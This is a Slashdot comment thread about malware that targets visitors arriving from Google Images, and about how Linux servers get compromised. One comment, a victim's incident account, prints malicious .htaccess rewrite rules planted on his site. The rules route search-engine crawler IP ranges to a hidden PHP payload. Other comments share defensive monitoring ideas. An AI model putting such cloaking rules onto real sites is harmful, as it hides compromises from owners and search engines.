      I'm sure I could configure Evolution to attach to our Exchange server but I can use the web interface or open up native Outlook on a desktop I'm connected to.

      Yes, native tools might have an advantage but 95% of my administration work is remote anyway so attaching remotely from my Linux machine or from another Windows machine is no different.

    13. Re:orly? by swb · · Score: 2, Informative

      Incredibly common bordering on likely the outright majority.

      For one, its likely that most companies will have some kind of Windows infrastructure and/or Windows application requirements and thus will hand out Windows based laptops/desktops. Admins with a OSS religious affiliation may end up overwriting these systems with Linux or building their own in parallel, but controls/obstacles/requirements/misc bureaucratic bullshit may stop all but the most senior from being able to do this or make it too much of a headache.

      I know someone whose job basically to run an RS/6000 and its application and he is required to use the Windows laptop he was given for some security/accountability purposes, and then there's the office toolchain requirements (Outlook), and then there's the UNIX support applications (all Windows based).

      And then there's sheer inertia. You can't swing your fist without hitting a Windows PC and it generally works with all the hardware, provides windowing and a GUI interface and makes even character-mode UNIX management pretty easy via putty, cut/paste, etc. Plus a lot of server apps (eg, Samba) have functional web GUIs of their own.

      Add in the occasionally hairpulling effort of getting all the hardware/graphics to work right on new laptops under Unix OSes and you can see how someone might just not care what the local video/keyboard platform was for working with a remote server.

    14. Re:orly? by FlyingBishop · · Score: 1

      You just use Perl. It's trivial. And as an added bonus, obfuscation is a first-class language feature.

    15. Re:orly? by Anonymous Coward · · Score: 0

      The direct attacks are attempts to login to ssh using guessed passwords. To work there has to be a huge number of attempts, so it is not suprising he sees many of them. A spyware program requires very little communication and thus could be hundreds of times more effective with only a fraction of the visible traffic.

      Still it would be difficult to tell a guessed password from one found by a spyware program, so I don't see how this 10%/90% ratio could be figured out.

    16. Re:orly? by nasch · · Score: 1

      That means only 10% of the boxes were directly attacked and owned, yet my logs show overwhelming amount of tries to do just that.

      And how many were successful? I think they're talking about the times a machine is compromised, not how many times it's attacked.

    17. Re:orly? by Anonymous Coward · · Score: 0

      That's what I do... Terminal session from a Win 7 machine.

    18. Re:orly? by Pharmboy · · Score: 1

      Keep in mind that the vast majority of these attacks are not going after kernel flaws, they are typically going after PHP or MySQL flaws, or default PHP/MySQL settings more than anything. Some obvious Windows exploits are tried, but not that many as it is easy to test if a server is Windows or Linux based in a script, so that is rare in my logs. I haven't run FTP in years, but I remember a bunch of attempts using dictionary attacks when I did.

      Of course, the most common attack is simply SSH logins using common names and passwords. This is why admins like myself move SSH to a different port, which removes 99% of dictionary attacks on SSH, as these are scripts looking for low hanging fruit. Finding what possible port SSH is on would require a wide port scan, which raises a red flag by itself.

      --
      Tequila: It's not just for breakfast anymore!
  5. Why not buy mom antivirus? by maxume · · Score: 2, Insightful

    The free antivirus packages are fine, there is no need to pay for one.

    --
    Nerd rage is the funniest rage.
    1. Re:Why not buy mom antivirus? by Pojut · · Score: 2, Interesting

      Agreed. I used AVG for years, and when it became too bloated I moved to Avast. Haven't had a virus on my windows box in close to five years.

      --
      Living With a Nerd
    2. Re:Why not buy mom antivirus? by Anonymous Coward · · Score: 0

      But you've had plenty of spyware & malware. You just don't know that you do because you haven't cleaned it out.

      AVG/Avast don't really stop them.

    3. Re:Why not buy mom antivirus? by lowrydr310 · · Score: 1
      I haven't used any antivirus software on my Win2K box in the past 9 years and NEVER had a virus in that time.

      Firefox with Adblock Plus, Noscript, and Flashblock. That's it!

      I noticed some sluggish performance recently and suspected malware or a virus. I installed MalwareBytes' Anti-Malware, Clamwin, and Spybot S&D, ran them, and all indicated my system was clean.

      The problem turned out to be a badly fragmented hard drive (haven't defragged since 2001 or 2002!)

    4. Re:Why not buy mom antivirus? by RulerOf · · Score: 1

      I haven't used any antivirus software on my Win2K box in the past 9 years and NEVER had a virus in that time.

      I used to do the same thing, specifically because I didn't want to take the performance hit I have always associated with running an AV product.

      Fast forward a few years, I'm running a dual core chip with gobs of ram and (though I know I'm a minority on this one) an extremely fast hardware RAID controller, I can drag and drop 100GB of data, defrag an array, and run a virus scan... while playing a video game.

      In that time, my AV has caught a few things I didn't suspect were infected, and a few I had expected that were. The ironic thing is that it's frequently deleted a keygen or some such while I've tried to drag and drop it into a virtual machine to run it. In the end, I suppose it's a good thing that most AV products shoot first and ask questions later (including the fake malware/extortion ones).

      --
      Boot Windows, Linux, and ESX over the network for free.
    5. Re:Why not buy mom antivirus? by Pojut · · Score: 1

      That's what Spybot is for...and the only thing it has found in the last six months have been cookies. Prior to that, it found a few...but I was also VERY careless in going to a site that I knew I shouldn't have. ::shrug:: it really isn't all that hard to secure a Windows box....it mostly comes down to responsible browsing and common sense.

      --
      Living With a Nerd
    6. Re:Why not buy mom antivirus? by Pojut · · Score: 1

      As I said previously, I haven't had a virus detected nor have there been any warning signs of one in literally years. The only reason I still run the software is because I'm paranoid.

      Remember...just because you are paranoid doesn't mean they aren't after you!

      --
      Living With a Nerd
    7. Re:Why not buy mom antivirus? by G00F · · Score: 1

      I have seen way to many people with AVG installed with up to date definitions, and have viruses. I now suggest Avast as a free solution or even better pay for trendmicro or kaspersky.

      --
      The spirit of resistance to government is so valuable on certain occasions that I wish it to be always kept alive
  6. This hurts.... by santax · · Score: 3, Funny

    Man, this is how I view my porn, and I use that method just to be safe! What now :(

    1. Re:This hurts.... by Anonymous Coward · · Score: 0

      Try SpankWire

    2. Re:This hurts.... by Anonymous Coward · · Score: 0

      No doubt... Me too... I guess this "method" of "safe" pic surfing isn't much of a secret, and thus been exploited.

    3. Re:This hurts.... by Anonymous Coward · · Score: 0

      Well, i'm pretty sure NoScript still works.
      Even if you don't use Firefox, you can still have a portable version sitting around with NoScript for the sake of browsing unsafe sites.

    4. Re:This hurts.... by Thanshin · · Score: 2, Insightful

      Man, this is how I view my porn, and I use that method just to be safe! What now :(

      A live disc?

    5. Re:This hurts.... by HTH+NE1 · · Score: 5, Informative

      Just yesterday, when searching for "LEGO Mohammad", NoScript noted a clickjacking attempt when I tried to right-click an image while in the Google Images frame, but not when I unframed it, so yeah, NoScript seems to catch it.

      --
      Oh, say does that Star-Spangled Banner entwine / The myrtle of Venus with Bacchus's vine?
    6. Re:This hurts.... by Anonymous Coward · · Score: 1, Funny

      1: Get a usenet account
      2: Get a good binary usenet reader
      3: ???
      4: pro(n)fit!

    7. Re:This hurts.... by jwhitener · · Score: 1

      I use no-script in chrome and it didn't stop it. Auto-downloaded some dubious exe.

  7. Immunity ? by Anonymous Coward · · Score: 1, Interesting

    I visited one of these sites , because I'm a limited user, the Malware didn't install .
      So I question how much of this is because consumers foolishly run as owner.admin? or disable UAC .Then those that run Linux or a Mac are likely to be immune and probably in that order. Linux machines being much more secure .

    1. Re:Immunity ? by Nadaka · · Score: 1

      I don't think we have enough information to "know" that linux is "much more secure" than mac. Both have a handful of known exploits (vs a overflowing truck load of exploits available for windows). Neither one is proof against infection.

  8. Spellings Nazis - Please read by Itninja · · Score: 3, Informative

    For all that are hypersensitive to misspellings. The term 'referer' is not a typo (at least, not in this article).

    --
    I judt got a nre Kinesis keybiartf so please excusr ant egregiou typos.
    1. Re:Spellings Nazis - Please read by Tablizer · · Score: 2, Funny

      Wikipedia: "[standard] co-author Roy Fielding has remarked that neither "referrer" nor the misspelling "referer" were recognized by the standard Unix spell checker of the period..."

      So if it's not in Unix, it doesn't exist, eh? ;-)
         

      --
      Table-ized A.I.
  9. Microsoft should complain by T+Murphy · · Score: 2, Interesting

    RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]

    I don't see Bing on there.

    --
    My webcomic
    1. Re:Microsoft should complain by advocate_one · · Score: 3, Funny

      people use Bing?

      --
      Donald 'Duck' Dunn: We had a band powerful enough to turn goat piss into gasoline.
    2. Re:Microsoft should complain by Anonymous Coward · · Score: 0

      yahoo uses Bing?

    3. Re:Microsoft should complain by Anonymous Coward · · Score: 0

      Bing currently has the best policy on deleting their data on me. I am not a fan of M$, but I will use the search engine that is the least evil.

      Right now, as far as I can tell, that's bing.

      So it's Bing most of the time, with some yahoo and google just to mix things up, and deleting cookies at least once a week, and hosts file to block most of google.

    4. Re:Microsoft should complain by lastgoodnickname · · Score: 1

      just google for the answer or Ask Jeeves

    5. Re:Microsoft should complain by Anonymous Coward · · Score: 0

      What's a bing?

  10. Windoze an issue again? by Marcus+Erroneous · · Score: 1, Insightful

    Okay, insert obligatory "One more reason not to use Windows" comment here, after all, this is Slashdork.
          Yup, Linux and OSX can get infected as well, but it's harder to do so. Especially if you approach it from the point of view that it can happen to you. If you just have to use a Windoze tool, do it via a VM of some sort, pick your fave brand of VM to do so. Some tools (native VMware VI management tools) are only available for Windoze, so I use a VM to run those tools. Other than that, there are options, even for those poor admins that are CLI challenged, for managing stuff without using Windows.
          If you just have to use Windoze because all us Linux g33ks are really l4m3rz and Windoze really is the sh1tz, then Obi Wan, use your mastery of that platform and show us that you're not just all hat and no cattle. Put in the extra time and effort to use your platform of choice without contributing to the delinquency of those less enlightened than you who think that your site is safe.

    --
    You must be the change you wish to see in the world - Ghandi
    1. Re:Windoze an issue again? by TheTyrannyOfForcedRe · · Score: 1

      Slashdork...Windoze...really? Really!?!? Why don't you throw in some fake backspace characters, a "meh," and a while you're at it?

      --
      "Liechtenstein is the world's largest producer of sausage casings, potassium storage units, and false teeth."
    2. Re:Windoze an issue again? by scorp1us · · Score: 1

      Note that using a Linux VM on a Windows host is *not* the fix. Using a Windows VM on Linux is *not* a fix either. Your passwords can be gathered in either case*.

      as WOPR said: "The only way to win is not it play [with windows.]"

      * I am realizing there is a way to semi-secure things. If you use a proxy to provide passwords to sites, you never have to type a password in. The accounts could be gathered according to a database, and once you got prompted for a password, the proxy could present an on-screen keyboard for you to enter the password, saving it if you wish. However, do note that using the standard windows keyboard is not advantages because i still sends key events (which the loggers log). The proxy has to take clicks, translate to letters, then put them in the TCP/IP stream, never generating a key board event.

      --
      Slashdot's rate-of-post filter: Preventing you from posting too many great ideas at once.
    3. Re:Windoze an issue again? by scorp1us · · Score: 1

      This could also be done as a FireFox extension.

      --
      Slashdot's rate-of-post filter: Preventing you from posting too many great ideas at once.
    4. Re:Windoze an issue again? by Anonymous Coward · · Score: 0

      I wish all of you tools would stop arguing over this stupid shizzle.
      If you're not a complete retard, you can use Windows and avoid getting viruses/malware. Basic security precautions prevent problems. I use Windows (XP, Vista and 7), Linux (Ubuntu, OpenSuse, Fedora) and OSX (Tiger, Leopard, SnowLeopard) in my work. Windows works fine if you take basic security precautions. Linux is awesome and Mac OSX would be if you didn't have to sell your soul to the devil (in a figurative sense) to use it.
      Deal with it. Use what you want and stop bitching.
      Dumb people will f*** s*** up no matter what you do to protect them. For them, the "Nuke and Pave" method of tech support works just fine. :-D

  11. Another one by The+Redster! · · Score: 5, Interesting

    This is actually not a new trick. Guy I know once had his website serving up an evil redirect at random like half a year ago -- something like every 1 in 5-6 requests, and then still only with a Google referrer. Even asked me to capture the header with the redirect because his hosting company wouldn't believe him(they eventually fixed it).

  12. Swimming against the current by MonsterTrimble · · Score: 3, Interesting

    Shouldn't we be happy about this? I mean, they aren't even TRYING to attack a regular surfer, but only one who comes through google images. That means they are trying a pretty limiting technique which I presume is because that all other methods will not yield as good results.To me that means people are getting better at this anti-virus thing.

    --
    I call it 'The Aristocrats'
    1. Re:Swimming against the current by HTH+NE1 · · Score: 3, Insightful

      Shouldn't we be happy about this? I mean, they aren't even TRYING to attack a regular surfer, but only one who comes through google images.

      Yeah, because everyone knows Google Images users are Slightly Irregular.

      That means they are trying a pretty limiting technique which I presume is because that all other methods will not yield as good results.

      Or it's a proof-of-concept implementation being tested for more insidious deployment, say attacking only those who are coming from a (your!) bank's domain, or a government site, or a link from Google Mail embedded in an e-mail's image fetch to confirm your identity as a Chinese dissident.

      --
      Oh, say does that Star-Spangled Banner entwine / The myrtle of Venus with Bacchus's vine?
    2. Re:Swimming against the current by Internal+Modem · · Score: 1

      This is just one attack technique among many being used successfully.

    3. Re:Swimming against the current by RulerOf · · Score: 1

      It's not that hitting all surfers would yield fewer attack victims in a given amount of time, it's that hitting all of them means that the malicious code is more likely to get caught by an admin. If the malicious code is only active for 24 hours but hits everyone, chances are low that such code will actually result in a successful attack. However, if it can linger for longer periods of time, months or years, and simultaneously evade safe-browsing filters provided by MS/Google/Mozilla, that's likely going to be enough time for a stray IE6 user to wander into something he shouldn't (which is every URI beginning with "http://", so Slashdot tells me).

      --
      Boot Windows, Linux, and ESX over the network for free.
  13. And this is why I'm buying a Mac by DesScorp · · Score: 4, Insightful

    I've got an old Mac at work I use for various tasks, but I use Windows at home. And it's loaded up with all of the standard defenses... firewalls, anti virus, malwarebytes, spybot s&d, you name it. And yet Windows boxes are still getting owned. And its not even necessarily "bad" websites that are spreading this stuff... porn, torrent sites, etc. There are a lot of websites out there that have no idea that they've been owned, and that they're spreading this filth to Windows machines. The latest trojans with "Internet Security 2010" infect Windows boxes so badly that it often takes longer to completely clean them than it does to just throw up your hands and decide to nuke and pave.

    I know Macs will eventually be a bigger target when they get more of the market, but after one of my family machines became infected... again, despite having all of the necessary security software... I decided it was time to spring for a Mac Mini at home. Better that the wife and kids learn a different OS than Daddy pulling all of his hair out because of yet another damn trojan... despite best efforts to the contrary.

    --
    Life is hard, and the world is cruel
    1. Re:And this is why I'm buying a Mac by Anonymous Coward · · Score: 1, Interesting

      Why not just patch your machine and save the extra money instead of buying OSX? Compare how often OSX patches it's OSS software versus say Ubuntu

    2. Re:And this is why I'm buying a Mac by NatasRevol · · Score: 3, Interesting

      I've always said...Windows is cheaper if your time is worth nothing. Wipe & reinstall is your wasted time. That and fighting all those viruses/malware/spyware/etc.

      Macs aren't perfect, but you spend a LOT less time trying to make & keep your system secure.

      --
      There are two types of people in the world: Those who crave closure
    3. Re:And this is why I'm buying a Mac by jittles · · Score: 1

      If your kids are installing these trojans via warez, cursor packs, or other gizmos they will get your Mac Mini into trouble too. That is unless they don't have admin access. But why would you give your children admin access to any box?

    4. Re:And this is why I'm buying a Mac by Anonymous Coward · · Score: 0

      Suck less I guess.

      I've been using Windows on my personal machine for years and haven't had a virus. Just because you install all those lovely security programs doesn't mean they can catch everything. Don't be stupid in your browsing habits and you greatly reduce your chance of getting infected.

    5. Re:And this is why I'm buying a Mac by twidarkling · · Score: 1

      Funny, I've only had one virus/spy-ware/mal-ware in my entire time using Windows, right from 3.11 to current. And that was my roommate getting his Windows ME machine pwnd and letting it sit on the network. I defrag my machine overnight once a month or so. I ran without an active AV scanner for over a year. As it is, just out of habit, I'll run Spy-bot once every few weeks, and I threw Avast on there, and run it too. Always overnight. Total time wasted? About 5 minutes setting them up.

      Now, on my Mac machine at work? Programs regularly crash, network performance is shit, and 90% of updates require the machine to be rebooted, including Safari updates. I've wasted more time trying to make my Mac work properly than I have keeping my Windows box secure.

      --
      Canada: The US's more awesome sibling.
    6. Re:And this is why I'm buying a Mac by Ifni · · Score: 1

      I've wasted more time trying to make my Mac work properly than I have keeping my Windows box secure.

      Yes, but you've looked cooler doing it, and isn't that what REALLY counts?

      --

      Oh, was that my outside voice?

    7. Re:And this is why I'm buying a Mac by Anonymous Coward · · Score: 0

      Secure the Windows box better, and you won't have nearly as much headache.

      I went from a phone call a week from the family with a virus to a call every 3-6 months because the computer's running slow.
      The issue?
      The primary user has admin rights, the kids do NOT.
      The primary user either manages to have her password leak every 3-6 months (likely shoulder-surfed), or stupidly lets the kids use her account. The kids are smart enough to know that they can change user privs on their account, which will give them admin rights again, and manage to infect the system.
      They can't double 3 finger salute the login screen, type Administrator, and hit enter -- I changed the password for that account so hard, I can't remember it.
      I have an additional login on the system, hidden from the login screen, so the only way there is with the doubled three finger salute, typing my user and password, and waiting for the login.

      I install their antivirus (avast, not AVG), and have a calendar set up to remind me 3 weeks before the subscription's expiration to drop by and renew for them, since they appear to be too dumb to call me when the sub expires, or to renew it themselves after being shown how.
      Most of my calls and visits as of late have been not related to that computer, as a result.
      It's nice.

    8. Re:And this is why I'm buying a Mac by Anonymous Coward · · Score: 0

      Assuming that the user is not an administrator, you can simply log in as another user, rename the infected user's profile folder in "Documents and Settings" and then log in as that user again. After the (previously infected) user's profile is recreated, copy his documents and favorites from the old profile to the new one (you can delete the old profile folder after you feel confident that you're not missing any files). Most home users are administrators, so this process doesn't really help, but in a corporate environment, it saves lots of time and effort!

  14. gratuitous comma tag by ojintoad · · Score: 0, Offtopic

    The gratuitous comma tag is incredibly appropriate. It's important to remember that if we hope to keep the next generation of students adept at the English language we might want to set a good example.

    Since I've referenced poor grammar, there's a 99% chance I made a spelling or grammar error in this post.

  15. Wow by uvsc_wolverine · · Score: 1

    Yeah, this is pretty scummy. But I've gotta admit, it's also pretty creative.

    --
    This space for rent...
    1. Re:Wow by lattyware · · Score: 1

      Yup, chuck these guys in prison for a year, then when they come out, hire them at $xyz000 a year, and get them to be that inventive with stopping others.

      --
      -- Lattyware (www.lattyware.co.uk)
    2. Re:Wow by Anonymous Coward · · Score: 0

      I sauw your'e for rent sign and were hoping to rent you're space. My javascript was recently evicting despite follow everything in lease ,just because the host.... errr... I mean landlourde said him "didn't like the looks of it" .would you be want to lease for me your space .I am willing to offer double the rate that goes current and can has the money wire to directly you account within 24 hour's. Just send your account information to my adreses: anonymous-coward@javascript-exploits.screwed THank yOU for your helps in forward.

  16. lol by Anonymous Coward · · Score: 0

    Why post anon in the first message?

    1. Re:lol by sycodon · · Score: 3, Funny

      screwed up...what can I say?

      --
      When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
    2. Re:lol by goofyspouse · · Score: 2, Informative

      That you are 2 for 2 this morning? *grin*

      FWIW, I prefer "irradiated". That would kill them AND the cooties they carry.

    3. Re:lol by Anonymous Coward · · Score: 0

      It wasn't him - it was me. Look at the name. He is merely a claim-jumper...

  17. We got hit by this by hedronist · · Score: 5, Informative

    We get so many 404s because of probes from random script kiddies that I tend to ignore that part of the daily log scan -- big mistake. (I have my own link checker so I know that all of the real URLs are correct and functioning.) It wasn't until the site owner said that we seemed to have dropped off the search results at Google that we knew something was wrong. I couldn't figure out why and spent quite a bit of time banging my head against random walls.

    Although I had looked at the logs I was mostly looking for 500 errors. I finally started to focus on the 404s and little bells started going off when I saw a whole bunch of them for msnbot. And then I saw a whole bunch for googlebot. And then I noticed that they were all under our /media path. I immediately started checking all of the URLs that had 404ed and they all worked fine. Google was also reporting that they were getting a 404 on our sitemap.xml. Shit! I tested it with their 'Test you URL' page and it worked, so I resubmitted it and ... it 404ed! WTF? (I'm still not sure why this got snarled with sitemap.xml, but it was involved.)

    I went and took a long, hot shower -- this is my place of refuge and deep thinking. The question was: what could cause all of these errors for the spider-bots, but not produce them for me or any normal human? I looked like a prune by the time it hit me: they weren't seeing the same pages/files I was. How could that happen? If this was a networking problem it would already be smelling like a firewall issue of some sort -- the unseen middleman.

    I should mention here that this is a Django site, which means I'm pretty much all over the URLs coming in ... except for /media, which are handled directly by Apache as static files. Apache ... hmmm ... !

    Apache's .htaccess file is probably the single most powerful file on your website, and you don't even see it when you do an 'ls'. I popped into the editor and I almost crapped my pants:

    RewriteCond %{HTTP_HOST} (^|www.)example.com
    RewriteCond %{REQUEST_FILENAME} ![^a-zA-Z0-9](css|js|jpe?g|gif|png|zip|swf|doc|xls|pdf|ico|tar|gz|bmp|rar|mp3|avi|mpeg|flv)(\?|$)
    RewriteCond %{REMOTE_ADDR} ^66\.249\.[6-9][0-9]\.[0-9]+$ [OR]
    RewriteCond %{REMOTE_ADDR} ^74\.125\.[0-9]+\.[0-9]+$
    RewriteCond %{REMOTE_ADDR} ^64\.233\.1[6-9][0-9]\.[0-9]+$ [OR]
    RewriteCond %{REMOTE_ADDR} ^65\.5[2-5]\.[0-9]+\.[0-9]+$ [OR]
    RewriteCond %{HTTP_USER_AGENT} (google|msnbot)
    RewriteRule ^(.*)$ pop/media/images/07_22/7_22-5.class.php [L]

    Those address ranges, btw, are all for googlebot and msnbot, so this only fires if you are coming from one of those net blocks. The special google URL checker wasn't coming from one of those addresses which is why it worked.

    The scary thing is that this code is correct except for one little detail. The bots were getting 404s because the Black Hats got the path wrong. This isn't a normal PHP site and the topmost directory contains all of the Django stuff in one branch and all of the media in a different branch. Apache sees that topmost directory and it's where the .htaccess file lives, but the master .conf file has a specific <Location> rule that maps directly to /media, not /pop/media. If they had not made that error I don't know how long it would have taken to uncover this.

    We still don't know how they got in. We changed all of the passwords and double-checked that we were up to date on all of the server code. There also are multiple levels of tripwires in place now so I'll know about any changes within minutes of it happening. And now we wait . . . .

    1. Re:We got hit by this by CoffeePlease · · Score: 5, Informative

      If you run insecure web apps, they can use http injection to write to your .htaccess file. See my post on how I fixed my own site after one of these attacks. http://thedesignspace.net/MT2archives/000505.html

    2. Re:We got hit by this by mujadaddy · · Score: 1

      Wow, very frightening. You've already been modded Informative, but more people need to read and understand this.

      --
      Populus vult decipi, ergo decipiatur...
      "Force shits upon Reason's back." - Poor Richard's Almanac
    3. Re:We got hit by this by xandroid · · Score: 2, Informative

      If your site is on a shared server, it may be the case that another user of the server got hacked (or is malicious in the first place) and was able to access your files. In this case, it's a very good idea to notify your host that your files have been messed with.

      Something you may consider: make a backup of a known-good .htaccess, and set up a cronjob to `diff --brief` the two frequently and email you if they're not the same. I've done this with a list of all the PHP files in my account on a shared server:

      7 */4 * * * cd $HOME; find . -name *.php >tmp.phpfiles.txt; if [[ -n "$(diff --brief tmp.phpfiles.txt phpfiles.txt)" ]]; then diff tmp.phpfiles.txt phpfiles.txt | mail -s "new PHP files" YOUR@EMAIL.ADDRESS; fi; rm tmp.phpfiles.txt

      --
      $ echo "ceci n'est pas une pipe" | sed -Ee 's/(eci n|pas )//g'
    4. Re:We got hit by this by hedronist · · Score: 1

      Good points.

      This is a dedicated server and has only three accounts with passwords, all of which are strong. Only 4 ports are open: 22 (SSH), 80 (HTTP), 443 (HTTPS), and 8000, which is where I do short runs of the Django development server. The dev server port only responds to a very short list of hardwired IPs. SSH disallows root logins. Apache is chrooted and uses suexec. This last wasn't true before and is quite probably the entry vector.

      I mentioned tripwires. Since everything is under Mercurial VCS we can do several things to make sure nothing has changed. Without going into all of the details, suffice it to say that should something change on the server, alarms will go off. Even monkeying with the alarm mechanism will set off an alarm.

      All of this will not keep a really determined Black Hat out, and I know that. But he won't pwn us for long before we know it and then can take steps to push back the tide once again.

      God, I hate this shit.

    5. Re:We got hit by this by UnmaskParasites · · Score: 1

      Thanks for sharing this story.

      Did you find and save that 7_22-5.class.php file? It would be interesting to see what exactly they tried to achieve.
      You can post the code (if it's short and not outright malicious) here or contact me directly using this form
      http://www.unmaskparasites.com/contact/

      Thanks,
      Denis

    6. Re:We got hit by this by Terrasque · · Score: 1

      Hey, a fellow django'er :)

      A bit off-topic, but do you load PHP in the same apache as you run your django project?
      I've had some problems with that (shared libraries), plus I don't need php, so I usually turn it off.

      As a side effect, it would help against such an attack too.

      --
      It's The Golden Rule: "He who has the gold makes the rules."
    7. Re:We got hit by this by hedronist · · Score: 1

      I'm embarrassed to say that not only do I have a copy of this fsking thing, it's even under version control! Gack! This happened because the site owners upload images directly into the production server's /media directory and I periodically do an "hg add /media; hg push". I ain't doing that no more, Boss.

      I sent a copy to you via your website. It is one very convoluted piece of crap. If you ever figure out exactly what this thing is doing I'd love a walk-through.

    8. Re:We got hit by this by hedronist · · Score: 1

      Sigh, yes, we do have mod_php and mod_python in the same server. Although I had a problem combining the two on another site (also a Django site, but with an osCommerce store (and, no, I didn't anything to do with that piece of crap)) and it turned out to be a problem with shared MD5 libraries (if memory serves, this was almost 3 years ago). Here I'm running it just because I like phpMyAdmin.

      Now you've made me feel lazy and bad and I hope you're happy with yourself. Maybe I'll run an alternate Apache with mod_php, but only when I'm doing DB reorganization. Sigh.

      I hate this shit.

    9. Re:We got hit by this by UnmaskParasites · · Score: 1

      Thanks,

      I received it. Hope the second file is also under version control

    10. Re:We got hit by this by CoffeePlease · · Score: 1

      I'll add your post to the end of my article (with credit!), very helpful. Thanks!

    11. Re:We got hit by this by Anonymous Coward · · Score: 0

      Something you may consider: make a backup of a known-good .htaccess, and set up a cronjob to `diff --brief` the two frequently and email you if they're not the same. I've done this with a list of all the PHP files in my account on a shared server:

      Another alternative as a more general purpose solution is to install FSVS and version control the entire system. (Excluding things that change frequently, like /home or /media and things like /tmp, /dev, /proc, /var/log and /sys.) Most Linux servers will compress down to a few GB of installed files and config files when stored in the SVN back-end repository. Setup a cronjob to snapshot the system daily to capture the new state of any files that have changed.

      It's a lot harder to corrupt a remote SVN repository, so it provides a decent tripwire and audit trail. Most attackers won't know you're using FSVS as it's fairly niche. You get to use all of the nice SVN tools to do analysis and review of the server changes. It also gives you a quick way to keep track of changes that you specifically made to the server.

      # cd /etc/postfix
      (make changes to files)
      # fsvs ci -m "made such-and-such changes for reason XYZ"

      All Linux servers should be version controlled. If not for security reasons then for your own sanity. Being able to look back on 2-3 years worth of server config changes and see that you changed setting ABC on a particular date is very handy when troubleshooting.

  18. Nice detective work! by HikingStick · · Score: 1

    Kudos on the work you did to figure this one out! I appreciate the time you took to investigate this one.

    --
    I use irony whenever I can, but my shirts are still wrinkled...
  19. link redirects to US based hosters by Anonymous Coward · · Score: 0

    looking at the searchXX.in url mentioned the URL redirects according to its input
    in each case they are hosted in USA

    http://www.robtex.com/dns/newbluepill.com.html#records

    why the FBI/CIA doesnt get involved i dunno, seems a simple job to catch em (just like the 419s) just follow the money and round them up

  20. Ya rly. by RulerOf · · Score: 1

    This would mean that 90% of the pwned Linux servers are really the fault of Microsoft Windows

    You mean to say that such servers' pwned state is the result of improper security practices on the result of a Windows user. [/pedant]

    In all likelihood, I don't see why this wouldn't be the case. Unless these sites are running some type of publicly available CMS product, like Wordpress or Joomla, chances are good that these sites are uploaded via FTP. There was a feature on Slashdot, it may have been Mr. Hassleton's writing, too, saying that certain types of trojans will scan your incoming and outgoing traffic, looking for FTP sessions and plucking out the credentials. Such is particularly easy, too, because FTP authentication and traffic is completely unencrypted.

    Based on what I've read here and from how prolific the archaic security nightmare known as FTP is, I'd say it's quite plausible.

    --
    Boot Windows, Linux, and ESX over the network for free.
  21. SlashSEO? by Anonymous Coward · · Score: 0

    tradingblox, tradingblox, tradingblox. Is SlashSEO the new successor to the Slashvertisment?

  22. The only way to win is to not play by Sloppy · · Score: 2, Insightful

    But the larger point is that as malware becomes more aggressive, it's not just going to become harder to keep your PC and websites uninfected. It's also going to become harder for site owners and for hosting company abuse departments to verify that a site has been hacked

    The very idea of "verifying that a site is not hacked" is ultimately just as flawed as running a virus scanner to verify that you don't have a virus installed. Once a system is compromised, you can't trust it to help you find the problem. Checking to see if it happens to be serving malware right now, isn't reliable since the malware gets to decide whether or not to act suspiciously, and making decisions based on referer and user-agent is really just the tip of the iceberg compared to what is possible. What if it randomly decides to serve malware on 0.01% of the requests? You'll never be able to diagnose it that way, and in the unlikely event that you do happen to see something suspicious, you're going to start questioning yourself when it turns out to not be repeatable.

    Don't install the malware in the first place. I won't say that defending in depth beyond that point is totally useless, but it's pretty close to useless. Once you're infected: game over, you lost.

    --
    As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
  23. Greasemonkey solves this (for pic viewing) by Anonymous Coward · · Score: 2, Interesting

    Firefox + Greasemonkey + "Google Image Search Direct Links"

    That puts an extra link on each picture on the Google Image results. A link that just gives you the JPG and nothing else.

  24. All this to say... by hesaigo999ca · · Score: 1

    All this to say in a few rods, do not click on any link from google ads or link pages....always use the proper url.

  25. Change result to giant image by vuo · · Score: 2, Insightful

    I never understood why Google wants to load the site as a frame, which is unimaginably distracting and often the image is difficult to find. Rather, if they took a screenshot into the cache and moved the cursor automatically to the image, then it'd be more convenient, more reliable and safer.

  26. Yup, Linux and OSX can get infected as well by Anonymous Coward · · Score: 0

    That's all we needed to hear, an admittance of truth on your part (per my subject-line above, which is a quote of your own words)...

    Continuing that "trend" next below too:

    "but it's harder to do so" - by Marcus Erroneous (11660) on Thursday February 04, @10:50AM (#31022950) Homepage

    Oh, really?

    Tell us: Does javascript run on Linux &/or OS X??

    (If so, and it IS so - Then please, tell us this then: So, how is it any more difficult to infect those 2 *NIX based OS derivants then, than it is using javascript to do so in Windows???)

    APK

    P.S.=> You guys who are part of the "Pro-*NIX" crew around here are totally unbelieveable @ times...

    What I don't think you guys understand is that the main tool used to do these attacks on Windows also exists on *NIX variants too, and can be used against them also the same way it is on Windows by malicious coders! Personally, I think you ALL understand that well enough, but you often "conveniently omit" that fact is all, to spread more "FUD" propoganda around against Windows.

    E.G.-> I think if there EVER is a "this is the year of [insert *NIX variant here]", and when your (if ever, probably never) *NIX variant of choice becomes the most used OS there is for personal computing as Windows is now, well... then, I think that you're all in for a HUGE surprise (as Apple found out w/ MacOS X in fact - they began turning up maliciously coded exploits like worms etc. et al once they gained more market share - based largely on PURE B.S. on their commercials of "You're a PC, I'm a Mac") when you will find your "*NIX variant of choice" being assaulted in the SAME MANNER & using the SAME TOOLS (javascript being the main 'culprit'), and mainly because your *NIX variant of choice would be the most used OS out there for personal computing.

    (Which javascript is definitely used against Windows for malicious purposes, especially via webbrowsers, HTML scriptable email, & Adobe .pdf + flash exploits combined with javascript malicious code - simply because Windows has the MAJORITY OF MARKETSHARE OUT THERE, @ 95% OR BETTER - that said, why on earth do you think malware makers target Windows then???? Because it's the most used & like any criminal, let's say a pickpocket????? They gather where the most others gather to take advantage of them, like most criminals do! Pickpockets are after your CA$H, just like webcriminals are, & both do not gather to attack just 1 person, but entire crowds (from a single attack codebase - so they target the biggest crowd possible "from 1 shot" (1 codebase) is all - to max out their criminal enterprises' 'attack surface area'))... apk